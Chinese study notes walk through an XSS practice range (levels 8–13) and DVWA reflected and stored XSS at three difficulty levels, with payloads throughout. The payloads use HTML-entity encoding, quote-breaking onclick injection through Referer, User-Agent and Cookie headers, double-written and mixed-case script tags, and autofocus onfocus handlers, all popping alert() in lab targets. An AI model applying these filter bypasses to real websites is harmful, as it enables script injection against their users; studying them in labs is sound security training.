首页 > 其他分享 >XSS基础学习(3)

XSS基础学习(3)

时间:2023-08-15 16:35:50浏览次数:27  
标签:XSS http javascript 基础 alert 学习 &# payload

XSS基础学习

六、靶场实践

(该靶场有bug,直接修改html代码,添加弹窗,就直接可以通关)

第八关
http://8.130.109.21:9995/level8.php?keyword=not%20bad!
// 输入点输入javascript:alert(`xss`) 查看页面源码发现
<a href="javascr_ipt:alert(`xss`);">,此时试试其他编码是否绕过
//payload 采用html实体编码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)
第九关
http://8.130.109.21:9995/level9.php?keyword=not%20bad!
//  输入点输入javascript:alert(`xss`)后查看页面源码
<a href="您的链接不合法?有没有!">,此处检测的是http://或者https://
构建新的payload  javascript:alert(`xss`);http://
查看源码:<a href="javascr_ipt:alert(`xss`);http://">,采用html实体编码,并且屏蔽http://,构建如下payload:
javasc&#x0072;&#x0069;pt:alert();//http://

第十关

http://8.130.109.21:9995/level10.php?keyword=well%20done!
// 页面没有发现输入框等,查看页面源码,
<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
发现都被隐藏了,删除隐藏属性,修改html代码
<form id="search">
<input name="t_link" value="">
<input name="t_history" value="">
<input name="t_sort" value="">
 <button>点我</button>
</form>
修改后的页面出现了三个表单,如图1所示,分别填入,123,456,789点击提交
查看页面源码,
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="789" type="hidden">
说明只有name="t_sort",会提交数据,可以在该位置构造payload
//" onclick=" alert(1)" type="button

图1
第十一关
http://8.130.109.21:9995/level11.php?keyword=good%20job!
// 按照上一关的方法,发现“都被转义了,没法使用,但是比上一关多了一个t_ref=,测试该属性中value的值,来自于refer,此时,可以从refer输入payload,利用burpsuite或者浏览器插件hackbar都可以修改
" onclick="alert()" type="button
快捷通关,直接修改html代码即可,如图2所示

图2
第十二关
http://8.130.109.21:9995/level12.php?keyword=good%20job!
// 与上一关类似,只不过是将上一关的t_ref换成了t_ua,该属性中的值来自User-Agent,在User-Agent中输入payload即可通关,利用burpsuite或者浏览器插件hackbar都可以修改
//payload如下
" onclick="alert()" type="button
第十三关
http://8.130.109.21:9995/level13.php?keyword=good%20job!
// 与上一关类似,只不过是将上一关的t_ua换成了t_cook,该属性中的值来自Cookie,在Cookie中输入payload即可通关,利用burpsuite或者浏览器插件hackbar都可以修改
//payload如下
 user=" onclick="alert()" type="button

七、DVWA靶场的xss练习

1.初级
  • XSS (Reflected)

     <script>javascript:alert(1)</script>
    
  • XSS (Stored)

     <script>javascript:alert(1)</script>
    
2.中级
  • XSS (Reflected)

     在输入点输入<script>javascript:alert(1)</script>,查看源码
    <pre>Hello  javascript:alert(1)</script></pre>,<script>标签会消失,此时试试双写可不可以绕过
    <scri<script>pt>javascript:alert(1)</script>
    可以绕过
    
  • XSS (Stored)

     <script>javascript:alert(1)</script>
    查看数据库后,发现标签直接消失,此时在textname里面尝试大小写绕过,输入下面的payload(删除页面控制输入框字符长度的限制)
    <sCrIpT>alert(1)</ScRiPt>
    
3.高级
  • XSS (Reflected)

     <script>javascript:alert(1)</script>
    从输出的结果来看,发现最后就只留一个>,此时可以试试单标签,
    <input onfocus="alert('xss');">
    发现可以造成xss攻击
    
  • XSS (Stored)

    根据上一关,直接尝试在textname中写入单标签的payload
    <input onfocus="alert('xss');" autofocus>
    可以造成xss攻击
    

八、自动化xss测试

xray可以扫描出来,如下图3

图3

注意、xray扫描存储型xss时,用于靶场环境,在真实场景中,会将脏数据写入数据库,如下图4,在真实环境中存储型XSS基本都采用手工测试

图4

标签:XSS,http,javascript,基础,alert,学习,&#,payload
From: https://www.cnblogs.com/xiaoyi208/p/17631635.html

相关文章

  • 【学习笔记】(19) 启发式合并
    启发式合并启发式合并核心思想就一句话:把小集合的合并到大的里。启发式合并思想可以放到很多数据结构里,链表、线段树、甚至平衡树都可以。考虑时间复杂度,设总共有\(n\)个元素,由于每次集合的大小至少翻倍,所以至多会合并\(logn\)次,总的复杂度就是\(O(nlogn)\)的(结合线段树......
  • 硬件管理平台-硬件网关-XML相关基础类
    硬件管理平台-硬件网关-XML相关基础类简介本章是硬件管理平台-硬件网关-插件模块-集成(上)的延申部分,因集成模块时还需要有配置文件的相关操作,因此需要将xml部分进行说明,其中需要说明的部分有xml的操作类、xml与硬件的交互类以及配置文件中对于xml的获取及操作。主要工作是约定xml......
  • 论文解读 | 5分钟带你了解基于深度学习的点云配准的ICP算法
    原创|文BFT机器人01摘要迭代最近点(ICP)及其变式为此任务提供了简单且易于实现的迭代方法,但这些算法可能会收敛到虚假的局部最优值。为了解决ICP通道中的局部最优和其他困难,我们提出了一种基于学习的方法,名为“深度最近点”(DCP),其灵感来自计算机视觉和自然语言处理的最新技术。我们......
  • Hugging News #0814: Llama 2 学习资源大汇总
    每一周,我们的同事都会向社区的成员们发布一些关于HuggingFace相关的更新,包括我们的产品和平台更新、社区活动、学习资源和内容更新、开源库和模型更新等,我们将其称之为「HuggingNews」。本期HuggingNews有哪些有趣的消息,快来看看吧!......
  • 0基础转行产品经理可行吗?如何操作才靠谱?
    在多年的产品经验中,遇到了很多朋友同事咨询转行做产品的可行性,在沟通的过程中,大家都普遍认为零基础转行产品,对于一个已经有工作经验的人来说,是不是需要付出很大的努力,之前走的路就全白费了,在此我认为零基础转行产品经理完全可行。   首先我们需要了解产品经理是一个什么样的职位......
  • Python基础概念以及命名规范
    PythonBasicIntroduction介绍Pythonisadynamicandstronglytypedprogramminglanguage.Itemploysbothducktypingandgradualtypingviatypehints.WhilePythonsupportsmanydifferentprogrammingstyles,internallyeverythinginPythonisanobject......
  • Java学习笔记(十)
    第7章 面向对象(下)7.1 静态的1、static:静态的2、什么是静态的?和对象无关的,不会因为对象的不同而不同,即所有对象都一样的。换句话说,和对象无关。动态的,根据对象的不同而不同,和对象有关,由对象动态决定。3、static这个关键字用在哪里?(1)成员变量前面:静态变量(2)成员方法前面:静态......
  • 传热和传质基本原理-学习笔记
    传热的三种方式:传导:  不同物质形态的传导机理:  气体:气体分子的能量与其随机的平移有关,也和内部旋转和震动运动有关。可以把基于分子的随机运动的净能量传输说成是的能量扩散。       液体:与气体情况几乎相同,但流体分子靠得更近,分子间的相互作用更强,也更频繁。  ......
  • WPS RCE漏洞 学习
    复现过程2023年HW出现WPS0dayPOC影响版本:WPSOffice2023个人版<11.1.0.15120WPSOffice2019企业版<11.8.2.12085简单操作,安装指定版本以下的wps版本设置host为127.0.0.1clientweb.docer.wps.cn.cloudwps.cn在poc目录下打开cmd,启动简单的http服务......
  • Markdown学习
    一级标题二级标题引用粗体斜体中划线---分割线/***超链接无序列表姓名生日xsy2001.1.1yjj2001.1.1publicvoid......